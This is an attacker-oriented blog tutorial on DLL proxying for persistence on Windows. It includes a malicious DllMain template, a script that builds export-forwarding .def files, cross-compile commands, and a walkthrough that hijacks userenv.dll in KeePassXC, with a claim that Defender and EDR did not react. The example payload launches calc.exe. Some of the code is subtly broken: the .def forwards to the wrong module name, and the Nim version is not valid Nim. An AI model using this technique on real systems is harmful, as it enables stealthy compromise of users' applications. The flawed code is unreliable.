DLL Proxying for Persistence - A Stealthy Technique

Unlocking a loophole in Windows’ DLL search order by using DLL Proxying to stealthily intercepts and redirects calls to forge persistence without raising suspicion. Exploiting this you as an attacker can nest malicious content within seemingly innocent DLLs. This tutorial shows you in depth how things are working out.



persistence by DLL Proxying

pre-requisites:

  • mingw-w64 (brew install mingw-w64)
  • Python3
  • Editor/IDE like Vim, VSCode, …
  • Optional: Nim if you like to try out new things

DLL Proxying in a nutshell

Windows has a search order of predefined paths, for every application to look for required DLLs. This can be exploited by putting a malicious DLL with the same name in the search path that contains malicious content and “proxying” the calls forward to the original DLL like shown below:

This technique can be used by attackers to gain persistence or pivot this even to privilege escalation. Additional defensive evasion is possible and with some luck even bypass EDR tools.

Under some special conditions and configurations, it can be also used for domain level privilege escalation or remote code execution.

Let’s get started

Before we can start, we need to be aware of two issues which are also important requirements for the crafted malicious replacement DLL:

  1. To load correctly, a malicious DLL must export the functions required by the application, even if those functions are implemented as placeholders. Otherwise, both the application and the malicious DLL will fail to load.
  2. If the malicious DLL exports the functions required by the application but does not implement them equivalently to the legitimate DLL, the application loads the DLL and probably executes the malicious code (e.g. in the DllMain() function), but afterwards the application crashes.

The solution for these two problems is DLL Proxying. Like shown above it is required to create a malicious DLL that exports all of the functions of the legitimate DLL. Now instead of implementing the functions the malicious DLL just forwards the calls to the legitimate DLL.

Forging the DLL on this way ensures, that the application behaves normally without crashing and the execution of the malicious code can happen silently in the background.

Creating the Proxy DLL

Let’s assume that the target DLL whish should be proxied is called target_original.dll and the proxy DLL target.dll. Next we require the entrypoint for a DLL which is described by Microsoft here and forms the baseline the payload.

With these assumptions it is possible to use a basic template for payload.c:

#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
  // Place your malicious code here
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

With this template we now require the definitions of the original export. This can be done during link-time by using Module-Definition (.def) files

This is luckily supported by the mingw-w64 cross-compiler tool set. In the .def file it is possible to instruct the linker to use external references for the exported functions to the legitimate DLL file.

The required syntax for the .def file exports:

EXPORTS
  exported_name1=legitimate_dll_module.exported_name1 @ordinal1
  exported_name2=legitimate_dll_module.exported_name2 @ordinal2
  
  ... 

To generate the required .def-file it is required now to craft the export list of the legitimate DLL. Extracting the export list can be achieved by using the Python pefile > Portable Executable (PE) parser module .

Here is a working script, but make sure to run pip3 install pefile before the execution of the script:

import pefile

file_name = 'target'
dll = pefile.PE(f'{file_name}.dll')
  
exports = filter(lambda export: export.name is not None, dll.DIRECTORY_ENTRY_EXPORT.symbols)

formatted_exports = map(lambda export: '{0}={1}.{2} @{3}\n'.format(export.name.decode(), file_name, export.name.decode(), export.ordinal), exports)

with open(f'{file_name}.def', 'w') as file:
    file.write("EXPORTS\n")

    for formatted_export in formatted_exports:
        print(formatted_export, end='')
        file.write(f"{formatted_export}")

The output of this short script is the required target.def file for the mingw-w64 linker.

Now compiling and linking is trivial by using mingw-w64 cross-compiler (e.g. on Linux, targeting Windows 32-bit arch):

i686-w64-mingw32-gcc -shared -o target.dll payload.c target.def -s

and for Windows 64-bit arch:

x86_64-w64-mingw32-gcc -shared -o target.dll payload.c target.def -s

The resulted target.dll proxies all the function calls based on the exported functions to the legitimate target_orig.dll.

On this way, the application which depends on the original methods of target.dll is working normally. Additional it also executes the Payload() function at initialization to run the malicious code.

Overall this technique is not new, but the approach still a neat way to gain persistence. For example you can use windows-dll-hijacking as a baseline and casual tools like Microsoft Teams, VS Code, KeePass etc. to gain persistence even after a reboot of the victim’s machine.

Enough talking - Time for tackling an Example

Since there are dozens of example starting from casual Windows dlls, over tools like Teams till browsers, and games.

To make something different we use as the password manager KeePassXC as a baseline to show this technique (at point of testing, 30.12.2023, Microsoft Defender and EDR Tools were not reacting )

Finding a suitable DLL

As initial step we require a suitable DLL, to detect one in KeePass we can use Process Monitor from Sysinternals. With the proper settings like shown below:

Set the filter like this:

  • Column: Path “ends with” value dll
  • Column: Result “is” value: NAME NOT FOUND
  • Column: `Process Name “begins with” value. “KeePass”

If you ask yourself now: Why “NAME NOT FOUND”? Then it is a good idea now to check out the loading order of DLLs:

For more insights check out the official Microsoft Docs. Based on this filter we now see that the Application’s directory is checked before the Windows directories are accessed.

When as an example the Application Directory is read only (due to hardening as an example), placing it under a different directory that is present in the %PATH% variable can do the trick as well.

With those filters set we can now gain an overview that we now match with dll_hijacking_candidates.csv to find a potential DLL which is fitting for our attack:

Here the KeePassXC.exe app tries to load the library userenv.dll. Additional also version.dll is a good fit. To show that everything which is shown here is generic, you find a prepared .dll for both in the previous linked zipped archive.

Since KeePass can’f find both .dll in the current working directory we now need to check the original source. The easies way to find it is by simply searching for it using this commanddir /s userenv.dll:

So we can simply copy the userenv.dll from the C:\Windows\SysWOW64 folder into the KeePass folder and save if as an example as userenv_orig.dll.

As a next step we need to generate the userenv.def file containing the export redirection by the Python script shown above. The output will look like this:

EXPORTS
AreThereVisibleLogoffScripts=userenv.AreThereVisibleLogoffScripts @106
AreThereVisibleShutdownScripts=userenv.AreThereVisibleShutdownScripts @107
CreateAppContainerProfile=userenv.CreateAppContainerProfile @108
CreateEnvironmentBlock=userenv.CreateEnvironmentBlock @109
CreateProfile=userenv.CreateProfile @110
DeleteAppContainerProfile=userenv.DeleteAppContainerProfile @111
DeleteProfileA=userenv.DeleteProfileA @112
DeleteProfileW=userenv.DeleteProfileW @113
DeriveAppContainerSidFromAppContainerName=userenv.DeriveAppContainerSidFromAppContainerName @114
DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName=userenv.DeriveRestrictedAppContainerSidFromAppContainerSidAndRestrictedName @115
DestroyEnvironmentBlock=userenv.DestroyEnvironmentBlock @116
DllCanUnloadNow=userenv.DllCanUnloadNow @117
DllGetClassObject=userenv.DllGetClassObject @118
DllRegisterServer=userenv.DllRegisterServer @119
DllUnregisterServer=userenv.DllUnregisterServer @120
EnterCriticalPolicySection=userenv.EnterCriticalPolicySection @121
ExpandEnvironmentStringsForUserA=userenv.ExpandEnvironmentStringsForUserA @123
ExpandEnvironmentStringsForUserW=userenv.ExpandEnvironmentStringsForUserW @124
ForceSyncFgPolicy=userenv.ForceSyncFgPolicy @125
FreeGPOListA=userenv.FreeGPOListA @126
FreeGPOListW=userenv.FreeGPOListW @127
GenerateGPNotification=userenv.GenerateGPNotification @128
GetAllUsersProfileDirectoryA=userenv.GetAllUsersProfileDirectoryA @129
GetAllUsersProfileDirectoryW=userenv.GetAllUsersProfileDirectoryW @130
GetAppContainerFolderPath=userenv.GetAppContainerFolderPath @131
GetAppContainerRegistryLocation=userenv.GetAppContainerRegistryLocation @132
GetAppliedGPOListA=userenv.GetAppliedGPOListA @133
GetAppliedGPOListW=userenv.GetAppliedGPOListW @134
GetDefaultUserProfileDirectoryA=userenv.GetDefaultUserProfileDirectoryA @136
GetDefaultUserProfileDirectoryW=userenv.GetDefaultUserProfileDirectoryW @138
GetGPOListA=userenv.GetGPOListA @140
GetGPOListW=userenv.GetGPOListW @141
GetNextFgPolicyRefreshInfo=userenv.GetNextFgPolicyRefreshInfo @142
GetPreviousFgPolicyRefreshInfo=userenv.GetPreviousFgPolicyRefreshInfo @143
GetProfileType=userenv.GetProfileType @144
GetProfilesDirectoryA=userenv.GetProfilesDirectoryA @145
GetProfilesDirectoryW=userenv.GetProfilesDirectoryW @146
GetUserProfileDirectoryA=userenv.GetUserProfileDirectoryA @147
GetUserProfileDirectoryW=userenv.GetUserProfileDirectoryW @148
HasPolicyForegroundProcessingCompleted=userenv.HasPolicyForegroundProcessingCompleted @149
LeaveCriticalPolicySection=userenv.LeaveCriticalPolicySection @150
LoadProfileExtender=userenv.LoadProfileExtender @151
LoadUserProfileA=userenv.LoadUserProfileA @152
LoadUserProfileW=userenv.LoadUserProfileW @153
ProcessGroupPolicyCompleted=userenv.ProcessGroupPolicyCompleted @154
ProcessGroupPolicyCompletedEx=userenv.ProcessGroupPolicyCompletedEx @155
RefreshPolicy=userenv.RefreshPolicy @156
RefreshPolicyEx=userenv.RefreshPolicyEx @157
RegisterGPNotification=userenv.RegisterGPNotification @158
RsopAccessCheckByType=userenv.RsopAccessCheckByType @159
RsopFileAccessCheck=userenv.RsopFileAccessCheck @160
RsopLoggingEnabled=userenv.RsopLoggingEnabled @105
RsopResetPolicySettingStatus=userenv.RsopResetPolicySettingStatus @161
RsopSetPolicySettingStatus=userenv.RsopSetPolicySettingStatus @162
UnloadProfileExtender=userenv.UnloadProfileExtender @163
UnloadUserProfile=userenv.UnloadUserProfile @164
UnregisterGPNotification=userenv.UnregisterGPNotification @165
WaitForMachinePolicyForegroundProcessing=userenv.WaitForMachinePolicyForegroundProcessing @166
WaitForUserPolicyForegroundProcessing=userenv.WaitForUserPolicyForegroundProcessing @167

With the .def file we now need to craft our malicious .dll by reusing the C code from above. To not make it too malicious in the beginning we are simply adding an example Payload() which is launching calc.exe:

#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  
  char cmd[] = "calc.exe";
  
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

Cross-compiling and linking the malicious Proxy DLL using mingw-w64:

i686-w64-mingw32-gcc -shared -o userenv.dll payload.c userenv.def -s

Copy the malicious userenv.dll proxy and the legitimate userenv_orig.dll to the home folder of KeePassXC.

Now launch KeePassXC.exe and the application behave normally and also execute the Payload by starting calc.exe

Still here? Alright lights try something different to create the payload. Since Nim has an awesome option called Foreign Function Interface (FFI) we could also make use of it. Let’s switch from C to Nim:

import winrm, os

proc payload() =
  var si: STARTUPINFO
  var pi: PROCESS_INFORMATION

  let cmd = "calc.exe".toWideCString()

  zeroMemory(cast[ptr](&si), sizeof(si))
  si.cb = sizeof(si)
  zeroMemory(cast[ptr](&pi), sizeof(pi))

  createProcess(nil, cmd, nil, nil, false, 0, nil, nil, cast[ptr](&si), cast[ptr](&pi))

when isMainModule:
  proc dllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall.} =
    case fdwReason
    of DLL_PROCESS_ATTACH:
      payload()
    of DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH:
      discard
    result = true

  # Mimic WinAPI DLL loading process
  let hModule = cast[HINSTANCE](getModuleHandle(nil))
  let lpReserved = nil

  let result = dllMain(hModule, DLL_PROCESS_ATTACH, lpReserved)
  if result == false:
    echo "Payload execution failed"
Written on December 31, 2023


◀ Back to attack related posts